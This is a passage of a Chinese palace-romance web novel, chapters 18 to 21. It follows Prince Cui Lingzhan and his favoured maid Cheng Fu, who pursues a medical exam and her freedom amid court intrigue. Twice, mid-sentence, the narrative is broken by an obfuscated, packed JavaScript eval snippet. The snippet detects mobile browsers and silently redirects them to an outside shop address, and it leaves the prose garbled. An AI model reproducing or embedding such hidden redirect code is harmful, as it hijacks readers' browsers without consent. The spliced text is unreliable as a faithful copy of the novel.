“让大娘都赞不绝口的人物,阿芙也很钦佩。”她柔声道,“我思量再三,亲兄弟也该明算账,这十两银子还请大娘代为转赠。” 付氏一噎,“不好吧,阿云从未提过酬劳。” “凌大人不提是因古道热肠,我若也不提便是失了礼数。再说将来少不得还要麻烦他的,大娘疼我,应当明白这等机缘万不能一竿子就丢……” 说的也是,付氏沉吟难决,阿芙再得宠也是个孤女,独木难支,如能攀上阿云,将来大家都有好处…… 凌云下衙收到了十两银子。 付氏送来的,一路不停夸程芙在毅王跟前如何得脸,甚至添油加醋了一些有的没的。 凌云似笑非笑,自不会真把程芙放在眼里,帮一次只是顺手,不至于以后还想往来。 这女人自己有没有将来都难说,还想拉拢他…… “哦哦好的,我先走了,大娘留步。”他说。 当天夜里,崔令瞻自然而然地走进程芙的抱厦,两人关门合香玩,半柱香后绿娆听见房门打开,忙探头瞄了一眼,芙小姐面若红霞,领口露出一大片雪肤,柔弱无力地趴在王爷肩上,被他竖着抱进了暖阁,再后面就没动静了。 暖阁柿蒂纹的罗帐内,崔令瞻问:“冷吗?” 程芙往里缩,“奴婢害怕。” 从未有人那样对待她…… 他是成年男子,怎能做出婴孩的举动?程芙难以置信,死死捂住心口,背过身把自己蜷起来,崔令瞻展臂拥她入怀,握住她攥在心口的小拳头。 “睡吧。”他柔声道。 程芙轻轻应了声。 “你不是奴婢。”默然半晌,黑暗中他的声音闷闷的,“你是我的女人。” “那白纸黑字的身契怎么说?” “以后还你。” “您要宽恕我了?” “你再问,我就不宽恕了。”他黯哑道,“睡觉。” 帏帐内顿时安静。良久,她动了动,他立刻贴得更紧了。 “王爷。” “嗯?” “明年我能参加太医署会考不?” “能。” 或许月光太温柔,也或许他太好说话,程芙生出妄想,往他怀里蹭蹭,“王爷,要是我中选,明年您能不能放了我?” “恐怕不能让你满意。” “可是您答应过我。” “答应你什么?” “会放了我。” “你让我满意过吗?” 便是亲一下眼圈都会红,舌尖总是顶着不让他深探,娇娇气气的稍用力就发抖。 程芙沉默了,无言以对。 片刻之后,她嗫嚅道:“假如当初我没还手……” “没有假如。” “可您总要成亲的,就不担心未来的王妃多想?” “跟你有什么关系?” “……” 下半夜程芙突然梦呓低泣,崔令瞻将她翻过来面对面拥抱,低声地哄着她。 19.第 19 章 白天同案而食,夜晚同床共枕,毅王与宠婢在月地云斋过的日子与夫妻无异,不过放眼皇室宗亲倒也不是没有先例。 最夸张的当属谨王,把贴身婢女抬了妾,宠爱十五年不衰,前不久又奏请宗人府封侧妃。刚好他子嗣稀薄,刚好唯一的子嗣是爱妾所生,刚好他的正妃英年早逝而他无心再娶,天时地利人和下来,皇帝稍一思量竟准了。 一跃成为谨王侧妃的爱妾风头无两,因正妃无所出,爵位则顺延至侧妃之子,唯一的缺点是子袭爵后无法请封生母。 那又怎样,她没有任何天敌,亲生儿子乃王府未来的主人,依然是赢家。 月地云斋的程芙现在就隐隐有股谨王侧妃当年的势头,众婢艳羡不已,观她行止做派沉着稳重,料想将来不可小觑。 她们不清楚程芙的身世,自然也不清楚程芙永远复刻不了那位侧妃的命数。 因宗人府的玉牒不是想上就能上的,至少三代内无娼-妓、优伶、狱犯,以上三种便是只做过一日也是终身无法洗白的烙印。 当然也有皇帝看上倡优藏进宫里改头换面的,但皇帝自己糊涂不代表愿意子孙后代也糊涂,所以亲王玩弄几个婢女小妾可以,想上玉牒没门。 上不了玉牒等同不被祖宗承认,血脉自然也得不到承认,便也玷-污不了皇室高贵的血统了。 付氏罕见地一大早出现在月地云斋,热情洋溢地与角门的婆子打招呼。 眼下芙小姐正得宠,而付氏跟其来往甚密,婆子当然也不能把人得罪,因笑道:“昨儿王爷很晚才从银安殿回来,芙小姐身子又弱,今早难免起得比平日晚许多,这会儿最多在洗漱,饭后定然还有说不完的话,恐怕不方便了。” “那我就不叨扰了,改日再来。”付氏爽朗道。 婆子含笑目送她。 都是过来人,自是懂话里的意思,小别胜新婚,王爷年轻气盛体魄又好,昨儿夜里不知要如何折腾呢,可怜芙小姐那身子骨都不够他磋磨的,大清早还能起来已是不错。 然而付氏有大好的消息,唯恐耽搁晚了更难见到程芙,才挑了一个相对有希望的时辰碰碰运气,不行只能改日。 殊不知崔令瞻用完早膳就离开了月地云斋,去了瑞康公主下榻的照雪居。 这位骄纵的皇姑母习惯了我行我素,一大早就把凌云打了,崔令瞻目若寒冰,不得不亲自走一趟。 原来凌云在二进院附近叫瑞康偶遇了。她本就故意来此欣赏王府的亲卫,一个个高高壮壮的,万没想到质量如此之高的亲卫里还有个更突出的少年郎,第一眼就让她心花怒放。 心动归心动,可到底是侄儿的人,她也不能直接带走不是,于是瑞康装模作样靠近了搭话,没成想凌云非但不上钩还叫她婶子…… 瑞康气炸了。 她只不过故意掩去身份,妆扮低调了些,想与他来一场平等的露水姻缘罢了,怎么就婶子了? 据现场目击者称述,公主跳起来扇凌大人嘴巴,凌大人往后仰了仰,没扇着,公主就让人取来皮鞭朝凌大人脸上甩去,凌大人徒手接了一鞭,公主的护卫便冲过来,扭打成团。 崔令瞻赶到时瑞康正伏在贵妃榻上痛哭流涕。卓婉茉怯怯觑向崔令瞻,眼圈微红,又羞又窘,“阿诺哥哥……” 瑞康一愣,抬起头擦脸,不哭了。 “姑母毫发未损将人鞭伤,何以难过至此?”崔令瞻问。 瑞康本就心虚,闻此一言眼珠骨碌碌转,嘟囔道:“谁、谁难过了?哪个多嘴的在你跟前浑说,看我不割了他舌头。” “倒也不用旁人浑说,您在明月门打人,门里门外全是看热闹的,连侄儿公署的人都惊动了。” 普通贵女做这种事早就一根绳子吊死了,也只有瑞康理直气壮的。但她到底是长辈,在侄儿的王府胡闹说出去不好听,所以她也是有一点点羞耻心的。此刻抹着眼角,不知道的人还以为凌云把她打了。 “姑母,燕西军纪纲如铁,令行禁止,凌云既是我的亲卫亦是燕西军校尉,您可以打他罚他但不能把他当倡优取乐!” 崔令瞻目无波澜道:“您当众辱他置侄儿之颜面于何地,置保家卫国的将士军威于何地?” 这里不是京师,王府的亲卫更不是公主府陪她扮演角色玩乐的面首。 瑞康往女儿身后缩了缩。 卓婉茉也慌了,前后确实都是母亲的不对,若非碍于亲姑母的身份,此刻一家怕是都要被毅王扫地出门了。 她美眸水光四溢,羞惭无地自容,竟扶榻突然跪了下去,两只小手轻轻握着表哥右腕,“对不起,阿诺哥哥。你罚我吧,我保证母亲再也不会了,求你消消气,求你了……” 郡主下跪,一屋子仆婢霎时慌了,纷纷低头退了出去。 崔令瞻微怔,下意识甩开她的手,想扶她起身,可表妹周身不可怜,有种黏腻的娇弱,让他不知该从何下手,也不想触碰她,便退了两步,冷声道:“还不进来扶郡主起身。” 门口的墨砚马上疾步上前,温和又不失力道地扶起卓婉茉,“王爷向来对事不对人,只解决问题不迁怒他人。郡主切莫妄自菲薄。” 瑞康假装喉咙不舒服,咳嗽两声,“知道错了。别凶你表妹。” “姑母休要转移话题。” 瑞康自知今天的事很难有个交代,干脆翻着白眼晕倒。 “母亲!”卓婉茉不知所措,唯有扶着崔令瞻手臂小声啜泣,哭得梨花带雨,几乎要晕倒在他怀中。崔令瞻将她推给墨砚,然后面无表情地审视双目紧闭的瑞康,直看得她眼皮惊跳,心里发毛。 片刻之后,崔令瞻冷着脸拂袖阔步离开此间。 付大娘背着医箱探望凌云,因她年纪大又和凌云相熟数年,门口的小厮没认真拦就让她闯进了凌云的值房。 “我说阿云,你没事吧?” 付氏气喘吁吁,不知是不是眼花,屋中的凌云闻声陡然扭过身背朝她,一贯亲切的眉眼有狠厉的光闪过,看清是她立刻又笑了,“小伤,不用麻烦你的。” 那转过去的胸膛横着锋利的鞭痕,不算深,却把附着皮肤的一层肤色薄膜切开了,松松垮垮耷拉着,露出其内刺青狰狞的一角。 付氏浑然不觉。 经此一事,毅王赏了凌云不少财帛以表抚慰,瑞康则一声不吭缩在照雪居,惶惶未敢出门。 次早腊八,王府在银安殿的福康阁设了粥棚,请来名刹古寺的僧人念经祈福。经念完福寿粥也熬成,一共用了十余种香谷干果煮制,王府上下人人都能分到一碗。 吃完福寿粥来年无病无灾,吉祥如意。 婢女将第一碗粥呈给毅王,转过身无意瞥见霁红的官窑瓷碗衬得毅王的手指那般白皙修长,比之美玉更澄润。毅王用这样的手,舀了一勺喂程芙。 冷不防毅王抬起眼睛,凌厉的目光射过来,婢女心头一紧冒出了层冷汗,屏息关上门扉。 卯正,长史走进书房奉上户曹整理的年终账册,哪些账目没平,哪些平了,各田庄铺面大大小小的进项全都清清楚楚,崔令瞻用朱笔核对。 毅王算学近妖,再复杂的账目从他眼里、心里过一遍皆有结果,为他做事的大多见识了厉害,不敢造次。 程芙躲在书架后听长史咬字清晰、语速和缓地回禀:“回王爷,今年岁俸的一万石只给了三成,余下的七成折合成白银。” 他一脸惋惜道:“户部不厚道,折的是三年前米价每石四钱银子,咱们再去买还得是六钱的。” 变着法儿地从王爷手里薅钱,雁过拔毛。 崔令瞻看向程芙的方向,长史就闭了口缄默。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16459137|184773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程芙望着崔令瞻的眼睛,慢慢转过身。 崔令瞻笑了笑,回过头面向长史,长史立即俯身把耳朵送过去。 崔令瞻略一沉吟,低语几句,长史连连点头称是,拱手作揖告退。 待长史退出书房,崔令瞻往后一靠,倚着椅背淡淡道:“其实你想要什么大可以吩咐墨砚来取。” “可我不亲眼目睹这些书,也说不出所以然。”阅历在这里了。 崔令瞻颔首:“有道理。” 有了肌肤之亲的男女彼此间容忍度都在提升,尤其是男人,连续三晚的同眠,晨起时,程芙趴在崔令瞻怀中问可不可以在他的书房看书,他没有拒绝。 前提是他在。 虽不是自由出入却也是能出入一些了,程芙对这个结果还算满意。那时崔令瞻缓缓摩挲她的石榴色主腰的刺绣也很满意。 程芙觉得他有点病态,对她的贴身小衣极有兴趣,拿在手中凝看,然后一寸一寸剥离她的肌肤。 她又惊又羞曲着肘遮挡,他就会坏笑,边亲她眼尾边告诉她这里是粉色的、那里是甜的…… 时间过得飞快,在他的书房眨眼又待了一个时辰,程芙东摸摸西碰碰,崔令瞻偶尔会瞥她一眼,大多时候做自己的事。 他专注公务时有种不近人情的理智,完全不同于帏帐内的轻狂孟浪,像是换了个人。 程芙不止一次瞄向他的圈椅、紫檀大书案、以及冷冽的神情,双脚到底是没敢走过去。 巳时初绿娆过来送午膳的菜单,她欠身道:“这是今日小厨房拟定的,请王爷过目,看看需不需要再增补。” “问芙小姐。”崔令瞻未抬眼。 绿娆应是,绕过书架走到程芙身边,笑吟吟道:“芙小姐,请过目。” 菜单一长串,程芙有些吃过有些没吃过,王府的饭菜糕点无一不精,好吃到她挑不出缺点,所以吃什么于她来说区别不大,看了一遍就递给绿娆:“挺好的,我都行。” 绿娆:“好的。” 她拿着菜单朝毅王福一福身,离开前忽听他说:“加一道鸡汤鱼卷。” 昨日的菜式今日还上?这个疑惑只在脑中闪过一瞬,绿娆便了然了,因为昨日芙小姐用了一碗,毅王问她好不好吃,她回好吃。看上去还想用却规规矩矩放下了碗。 没想到毅王也爱吃。程芙听见鸡汤鱼卷心中一喜。 正是能吃能喝的年纪,喜欢好吃的是人之本能,她自不例外。 崔令瞻缓缓抬眸,目光与她交汇,“馋丫头。” 程芙:“……” “王府的厨夫还能做许多比鸡汤鱼卷更好吃的,三个月不重样。” “王爷,您真幸福。” “这样的幸福你也有。” “哦?” “你是我的就能永远拥有。”他唇角轻抿,终于说出了那句此生懊悔了千万遍的话,“你若不习惯王府,外面我、我……也有很好的宅院。 他愿意养着她的。 程芙脸庞亮亮的,眼睛温柔如水,“王爷,您真慷慨。” 崔令瞻望着她没有接话。 她眯眸一笑。 这是尝到了甜头,觉得通房不过瘾,还想哄着她当外室呢,长长久久霸占她年轻美丽的躯体,程芙含笑注视他。 他确实多金又有权,还有副迷人的皮囊,想必被女人捧着惯坏了,自以为是,殊不知皮囊再华丽也掩盖不了上层权贵腌入骨髓的冷酷自私。 纵使时光再倒回千万遍,程芙都会毫不犹豫还手,甚至让苏姑娘更早踏入轮回,不留痕迹。 说起来那苏姑娘和崔令瞻当真是天生一对,都不把底层的命当命,没做成夫妻实乃燕阳百姓之福。 崔令瞻移开视线,目光落在面前的卷宗上,许久都没有再翻页。 20.第 20 章 今年的冰嬉照旧在目池山举行。 冰嬉的军事意义不亚于观赏性,其中的抢等、蹴鞠、转龙射球,玩得好的晋升指日可待,更遑论彩头之丰厚,今年魁首足有五十两黄金。 众人摩拳擦掌,跃跃欲试。 初九,针线房送来一双精致的小鹿皮靴,靴内有一层厚厚的绒毛,垫着干燥的棉垫,防水又保暖,正是为了程芙观赏冰嬉准备的御寒之物。 芳璃跪在地上服侍程芙试穿,崔令瞻则端坐对面。 “你也会滑擦?”他问。 “是,清安县的小水塘又浅又多,结了冰孩子们都过去玩。”程芙回。 崔令瞻觉得很有趣,眼里的光彩盎然,“你在徐家有许多玩伴?” 程芙怔了下,忙摇头,“没有,大部分是小厮小丫头。” “嗯。据我所知与你同龄的也只有徐峻茂。” “是。” “你们经常一起玩?” “王爷是要审案了吗?”程芙似嗔非嗔道,“您明知我和那人惹了官司还追问,什么意思呀?” “……” 崔令瞻一噎,那些徘徊在阴暗角落里的计较讪讪隐了下去。 芳璃心里乐开花,敢这样怼王爷的也只有她家芙小姐。 试好了鹿皮靴,芳璃机灵地告退,否则王爷和芙小姐的眼神都快要拉出丝了。 果然芳璃一走,崔令瞻就起身上前,程芙坐在炕上翻身欲逃,纤足一紧被他握在了掌心。 他只是稍稍用力,她无助的身体不受控地滑进男子的怀中。 “真是惯得你。” 竟敢在婢女脸前怼他。 程芙推了推他胸膛,“是王爷先欺负人的。” “我哪里欺负你了?”他忍住笑意,“离你足有一丈远。” “胡说,您都抓到我肩膀了。” “现在的不算。”他亲亲她的唇,“说谁胡说呢,再顶嘴,看我怎么治你。” 他佯装生气,眼里却藏不住柔情,从眼尾亲到到嘴唇,又一路延伸至颈窝,慢慢地压她下去。 程芙知道他借这个引子想发挥什么,只能环住他安抚他,不让他失控,随着他的力道向后仰倒,却被他蹭得痛了,她皱眉往上窜了窜。 崔毓真和明珠郡主的造访像一盆冷水,浇醒了崔令瞻,理智回笼。 他身形微僵,回眸一顾门扉的方向,音色暗哑:“知道。” 站在门外回话的下人便知王爷不高兴了,遂邀两位贵女进中堂喝茶小坐片刻。 来得突然,没打发她们已算体面。卓婉茉哪里敢有不满,忙谢过通禀的内侍,说不急,只要王爷有时间,她们可以慢慢等。 上房的东次间,崔令瞻紧紧抱着程芙,默在原地,下巴抵着她额角。 “我出去……冷静。”他喘息依旧急促。 程芙轻轻“嗯”了声。 一盏茶过去,崔毓真闲不住,跳到堂中央逗猫儿玩。 卓婉茉起身走到了花窗前,轻轻推开,让浅金色的微冷的阳光流泻进来,眯眸看着对面的上房,一名美人儿挑帘走出,这应当是再寻常不过的场景。 那美人可能是月地云斋任何一名婢女,但有心人的直觉精准到无法用常理来解释,卓婉茉直勾勾盯着那个美丽的少女,看表哥紧跟其后走出,低头与她说话,左手轻轻地拂过她的肩。 亲昵的男女,纵然没有太过火的行径,旁观者也能一眼察觉到暗流涌动的缠绵。 崔令瞻负手迈进了正堂,崔毓真一声“哥哥”扑过来,卓婉茉则欠身施了一礼,柔声道:“阿诺哥哥,我做了龙井糕和咸口点心。”她紧张地咽了下,“送给你尝尝。” “这种事以后让小厨房来做。”崔令瞻问,“姑母身体如何?” “她没事了,不过已经知道犯了大错,羞愧难当……才缩在屋里不肯出来。”卓婉茉紧张地扭了扭手指,“阿诺哥哥,昨日你那么生气,会不会怪我?” “我没有怪你。”崔令瞻摸了摸崔毓真的脑袋,她的注意力全都在猫儿身上。 不怪她!卓婉茉眼睛亮了,又不敢表现的太高兴,仰脸悬悬望定他,小心翼翼问:“那后天你还带我吗?” 她最担心他失望之余将她当做麻烦撇下,遂惴惴不安了一夜,反复煎熬,天不亮便起身做他喜欢的点心。 从小就学中馈的她把点心做得比厨娘还精致,可他方才却在屋里与婢女颠鸾倒凤,连气息都被女孩子的柔软沾染,卓婉茉嗅到了陌生的熏香,眼底飞快掠过一瞬悲伤。 “冰嬉你想去就去,我从未说过不带你。”崔令瞻皱了皱眉,淡淡道,“姑母是姑母,你是你,不要总把事情往身上揽。” 这番话有点重了,卓婉茉毕竟是他的亲表妹,所以他又补了一句,“你身子弱,多穿些。” 卓婉茉的脸一红,眼里又重新有了光,作辞后她踩着那水纹梅花的地砖不若踩在了云霞上,都忘了牵崔毓真的小手,直到一抹熟悉的身影晃进视野。 是那个婢女。 离得近了方才看清,当真好看。 卓婉茉檀口微张,愣愣瞅着程芙。 程芙认出了崔毓真,忙欠身施礼,后退几步让了路。 “是你呀阿芙,我哥哥刚离开,你要找他不?”崔毓真问。 程芙:“回郡主,奴婢哪也不去的。” 崔毓真点点头,抱着猫儿继续走,走出月地云斋最后一道门,身旁的表姐突然问:“她经常与你哥哥在一起?” “嗯,哥哥可宝贝她了,还与她同桌而食。”崔毓真嘟了嘟小嘴,“她和哥哥在屋里的时候乳母就不准我过去捣乱。” 卓婉茉的脸白了三分,转而又释然了:通房而已,便是再来两个也不难接受。 倒也不是她宽宏大量,而是从小受到的规训如此,崔令瞻的财富、权势、能力、相貌样样拔尖,拥有他就能同时拥有荣华与爱情。而样样不如他的男人要么女人更多,要么软弱虚伪。 再傻的女子权衡一番都知该如何选。 想通了这些,卓婉茉的脸色恢复如初,通房什么的,权当是他找人帮正妻分担生育的压力。 改日会会阿芙,抛点好处看她接不接,若是个机灵的,卓婉茉不介意与她友好合作,互惠互利。 昨日未能告知程芙的好消息,今日付氏总算如愿转达。 她飞快地赶到月地云斋,竹筒倒豆子似的讲道:“天大的好消息,快看,是你一直想要的完整版《脉经》,不止如此,还有《难经》、《大小方脉》,全都是荀御医所赠!” 付氏眉飞色舞,额头都有些发红,“若你不嫌弃,他还想指导咱们明年的太医院会选!” “咱们”两个字让付氏兴奋得无以复加,原来她自称程芙的开山弟子,且正在学习程家的独门针阵,荀御医就把她也算了进去。 听完这么一通,程芙难免惊讶:“他一个御医对我的针阵好奇?” 付氏连连应是,“不知他从哪儿得知的你会金针止血,因缘巧合打听到我这里,算他问对了人。我跟他说完,他比我还兴奋,拿了一堆好东西与我交换呢,就为了学你的针阵。” “这笔买卖怎么算都是咱们大赚特赚,他可是御医!”她嘿嘿笑着搓搓手,“可我也不能擅自教他,就应下帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16463895|184773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问一声,上回你不是说谁都能学的……” 将来荀御医教程芙就得把她算上,而程芙教荀御医自然更会教她。 跟做梦似的。 程芙翻了翻三本珍贵的杏林书册,轻声道:“谁都能学。” 付氏眼睛一亮,“你同意了?” “嗯。”程芙抬眸看她,“会考前若能得他襄助,有何不可?” 大部分手艺不传外人无可厚非,唯医术不行,反而懂得人越多才越好呢。这是阿娘的医道,也是留给她的传承。 付氏向来话痨,唯有跟着程芙习针术才难得的安静,想来年轻时也是个医痴。可一旦休息,话匣子立刻打开,从南说到北,大大小小的,听的多了让人对王府也有了更深的印象。 “可怜的阿云。”付氏叹口气,“我去的时候桌上一堆带血的纱布,他还没成亲脸皮薄,说什么也不肯让我瞅,那么多血,等回家再敷药得受多大的罪。” 程芙安慰她:“凌大人吉人自有天相,定然不会有事。你用我的方子给他配副药,保管好得快。 付氏来了精神,“那敢情好。” 程芙不仅赠方还赠买药的银子,十分仗义。 现今的付氏早不似从前,待程芙之真心少说也有八成,真心里又掺着敬,为其做事不亚于为自己做,再没有半分偷奸耍滑。 在家休养的凌云很快就收到了付氏送来的两大包药。 全是程芙的心意。 彼时下人将将为他包扎完伤口,他抓起窄袖衫、棉袍一件件套上,捻了粒果仁丢进口中,边嚼边道:“仗义。” 屏风外头的付氏一听连忙迎合,“当然仗义,芙小姐特别善良。” “别是醉翁之意不在酒,我便当她仗义了。”凌云眯着眼。 芙小姐可能是被男人惯坏了,产生一种错觉,觉得只要她一示好,男人就会一股脑为她鞍前马后。 付氏脸色一黑:“怎么说话的,人家记着你感激你不行吗?她一个孤女便是存心攀交情也不过是人之常情,你瞧不上推了便是,何必阴阳怪气的。” “大娘,你都多大岁数了还被个小姑娘哄得五迷三道。”凌云说,“你可知她以前做什么的?” 生母被富家子抛弃后边行医边做私-娼,带着她出入深宅大院,她有没有做只有鬼知道。 在徐知县家因为勾引大少爷才被罚去田庄,那之后又与二少爷徐峻茂无媒苟合、私定终身、伪造册籍逃婚,桩桩件件,哪个正常女子做得出做得到? 此般心机再加上美貌,使得她的套近乎着实令人倒胃口。 付氏:“我不清楚她的过往,也没兴趣知道。” 凌云挑眉道:“有兴趣我也不说。” 付氏摊摊手,拎起药走人。 出师未捷,撞一鼻子灰。 程芙扫了眼原封未动的药材,不以为意,浅淡道:“日子长着呢,也不只有这一条门路。” “荀御医!”付氏福至心灵,蓦地抬起头,“他是京师人,亲切又风趣,还跟我坐一起嗑瓜子呢。” 且在太医院当值,打听注册备召的医女易如反掌。 但御医也是外男,接触起来肯定得过明路。程芙略一沉吟,“我如今身份尴尬,还望大娘先与荀御医说得婉转些。” 她不是普通的婢女,是毅王的玩物。 付氏温声回:“他早已知晓。从大家对你的称呼就猜到了,所以才问到我这里,并不敢去月地云斋打扰你。” 是个聪明人,素未谋面却已心照不宣。程芙感到轻松,道:“那你们等我好消息,我来安排,在王爷跟前过了明路大家都便宜。” 21.第 21 章 付氏欣然应下。 在付氏离开后,程芙独自坐在小窗子边,直到日影西斜,晚霞烧红了天际。 寄居清安县那些年,她涨了不少见识,每逢年节,徐夫人都会命人包一些节礼赏捕头,捕头则帮徐夫人处理诸多“琐事”。 然而这一套在凌云身上不好使,他全程跟进过苏姑娘一案,清楚她的底细,清楚她毫无价值。 她的示好犹如跳梁小丑。 经此一事,程芙平静地接受了高傲根本不能把人变得高贵,此间已是泥泞,唯有利用崔令瞻这株参天大树不断向外攀爬,才有自由的可能。 否则只能烂在这里了。 崔令瞻在军营待到傍晚。 墨砚轻手轻脚走进营房,为毅王换了一盏温度更适宜的茶,俯身拨拨碳火,余光瞥见毅王突然起身,忙跟去拿起衣架的斗篷,在王爷的脚步即将迈出门槛前为其披上。 崔令瞻自己系好衣结。 这一连串换成阿芙来做肯定能难死她,崔令瞻忽然笑了,想起她许多窘迫的模样:第一次服侍他宽衣时的生疏;分不清哪只玉杯是漱口的哪只是喝的;有时还会被突然的西洋钟声惊得抖一下。 全都是些稀松平常的小事,且她也不一直那样,现在就利落沉稳许多。 月上树梢,山中清冷,不时传来金属铠甲发出的嚓嚓声,是过路的值夜官兵,发现毅王纷纷肃立行礼问安,毅王点点头,沿着河边默默缓行。 再不回去阿芙可要熟睡了。 她是否也在等他?践行那日的承诺——初九伺候他。亦或因他没有出现而松了口气。 今晚,他盼了许久,甚至跑出来冷静,夜风吹得他不断清醒。 其实重要的事应当赋予隆重的意义。他与她的第一次,不能也不该就那样糊里糊涂地发生。 总要有点仪式感,好在她心里留下点痕迹,多年后或许她就不会忘了他。 几声尖锐的猫叫撕裂夜空,崔令瞻又遇到了那群野猫,靠军营的泔水桶吃得膘肥体健,形成了严格的领地意识,不允许任何猫儿过来分享。 它们追逐撕咬的小猫,是上回那只,竟还活着。 他抬脚走过去,猫儿们一哄而散,被围殴的那只却动也不动躺在枯枝败叶间,只剩微弱的呼吸,睁大亮闪闪的猫眼盯着一步步逼近的人类。 “唉哟可真埋汰,王爷您歇着,千万别碰,交给奴才吧。”墨砚哪敢让这个祖宗下手,忙三步并作两步赶上前,以两根指头捏起了小猫,笑道,“还活着。” 当月光与宫灯同时照下来,一切瞬间都变得清晰了,那双清澈倔强的猫眼仿佛水中的明月。崔令瞻凝眸,一只猫的猫生也从此发生了天翻地覆的变化。它拥有燕阳最尊贵的主人,它将成为大昭最尊贵的猫。 次早崔令瞻回府,带回来一只叫乌金姑的小猫,交给程芙饲养。 因是出发去目池山的日子,众人不得不早起,程芙睡眼惺忪,登车时脚下晃晃悠悠,崔令瞻不放心,轻揽她一齐进了车厢。 崔毓真做个鬼脸,小跑几步,在仆婢的服侍下登上瑞康的马车,卓婉茉撇开脸紧跟其后。 卓霄安则不愿同行,正躺在屋里睡大觉,无人在意。 车夫一扬鞭,甩出刺耳的噼啪声,轮毂嗡嗡,王辇自街门的八字影壁前出发,摆导随行不下五六百人,所经之处,沉香如雾,烛炬如星。 上次站在王府外还是三月,如今都腊月了。程芙舒展眉眼喟叹,时光过得真快。 深空酽酽的黑,不见云月,苍穹下行驶的队伍照得四下亮如白昼,程芙隔着明瓦窗朝外望,影影绰绰。 崔令瞻打开另一侧车窗,与凌云低声交谈。 “王爷,将士们昨儿在冰嬉场烤了您赏的羊肉猪肉,都说好吃,哈哈哈。” “拿出真本事给本王瞧了,还有重赏。” “有王爷您这句话,属下今年可要冲了。” “往年也没见你不冲。”崔令瞻说。 凌云嘿嘿地笑,含笑的眼无意识地越过毅王投向了程芙,微不可察一滞,转而别开脸,崔令瞻关上窗。窗外凌云翻身上马,哒哒哒往队伍前头跑去。 车厢里过于安静,崔令瞻启音,低声道:“乌金姑,仔细养。” 程芙强打精神,驱走困意问:“是不是很贵?” “长得像你。” “不像。黑乎乎的一团,丑着呢。”她想起崔毓真那只被豢养的大胖猫,逆来顺受,任人玩弄,不禁在心里厌恶。 “你以为自己很漂亮?” “难道不是?”她不解地看向他。 如此清澈的无辜,崔令瞻只在天真的孩子眼里遇见过。他竟认真去思考阿芙的问题,目光与她缠绕着,撩拨着,而后微微的笑:“漂亮。” 程芙轻轻眨了眨长睫,弯弯一笑。 他挑眉,捏她嫰滑如脂的粉腮,惹她喊痛,要生气了,再一言不发啄吻她的唇,疼爱着,惩罚着。 其实她的眉毛也没多么完美,缺失了一小截,离得近了方能看清。生气时嘴唇还有点歪,丑。靠近心脏的位置长了块胎记。更可笑的是没啥方向感,有次他眼睁睁瞅她从一条小径绕了三遍绕回原地,满面绯红,那一瞬他突然觉得她挺笨的。 这么笨的人怎会是劣迹斑斑的小混蛋呢? 她笑起来那么美,主动环住他时又那般甜,在他心上开了一树的繁花。 她待他,似乎也有一点不同了。 大概是频繁的亲吻后,肌肤的亲近犹如暧昧的瘴雾,将人引向了期待的迷局,她也在这座算不得愉快的樊笼里陪他一起沉沦了吗? 巳时正,毅王的车驾抵达目池山冰嬉场,众将士躬迎,呼殿之声浩吞山河,一众女眷瞠目回顾,大多是头一回切身感受到军队的力量与严整。 未正阴阳交汇,天地贯通,燕西军在天池台祭告,毅王身着缀有五爪正龙的冕服登上白玉阶,面朝青铜巨鼎上香三炷,又面朝京师龙椅的方向敬一杯烈酒,然后撩衣跪地叩首,台下众将士整齐划一跪地,高呼吾皇万岁。 程芙端坐营房的落地罩前愣愣瞅着猎猎旌旗,宝盖珠幢,黑鸦鸦的燕西军,遍体生寒。 不禁抬头眺向青天,顿觉自己苍渺如一粟,那些天真的想法顷刻间灰飞烟灭。 钻进深不见底的山林即便不被野兽捕食也会冻饿而亡,这么多的人早晚也能把她揪出来,而且她还不认得方向…… 少顷,一行仆婢簇拥着衣饰华丽的大小美人款款而来,迈进了程芙所在的观景营房。 “敏嘉郡主安,明珠郡主安。” 众仆婢此起彼伏福身问安,卓婉茉满面春风,牵着崔毓真的小手穿过人群。 程芙轻然退到了朱红的梁柱后,双手交叠在腹前垂首。 两位郡主就近坐在程芙方才所待的位置,说说笑笑。卓婉茉给崔毓真讲典故,引经据史,妙趣横生,就算没读过书的仆婢们听了也觉得有意思。 这是个肚里真正有墨水的人。 程芙竖着耳朵也听了进去,直到卓婉茉对她招招手,笑道:“我记得你是表哥身边的婢女,阿芙是吧?” “回郡主,奴婢是。” “真漂亮。”卓婉茉赞叹,随和道,“既然是表哥的人,不必拘谨。快过来暖和。” 程芙想了想,端然走过去,一名机灵的婢女忙搬来圈椅,邀她坐下,另一名则捧来香炉和果茶,白雾氤氲,馥郁袭人。 她柔声谢了座,只坐了半边身子,规规矩矩,全无一点得势的矜骄之色。 不恃宠生娇说起来简单,真正做起来就会发现几多困难,这个道理犹如穷人乍富,便是再想遮掩也掩不住由内而外的优越感。 明珠郡主不动声色观察着敌友未明的美貌少女。 崔毓真对程芙毫不陌生,毫不在意,一门心思都在听故事上,不停催问“然后呢,然后呢”。 卓婉茉笑吟吟地继续讲。 故事的结局大快人心,庄姬以色侍人,不敬主母,最终自食恶果,连同亲生的儿子锒铛入狱;而温婉聪慧的程姬因早年识大体且忠心耿耿,不仅受到了主母的特殊优待,晚年还得以随儿子去封地养老。 人人都夸赞程姬高瞻远瞩,跟对了主子,嘲笑庄姬不自量力。 程芙始终安安静静的。 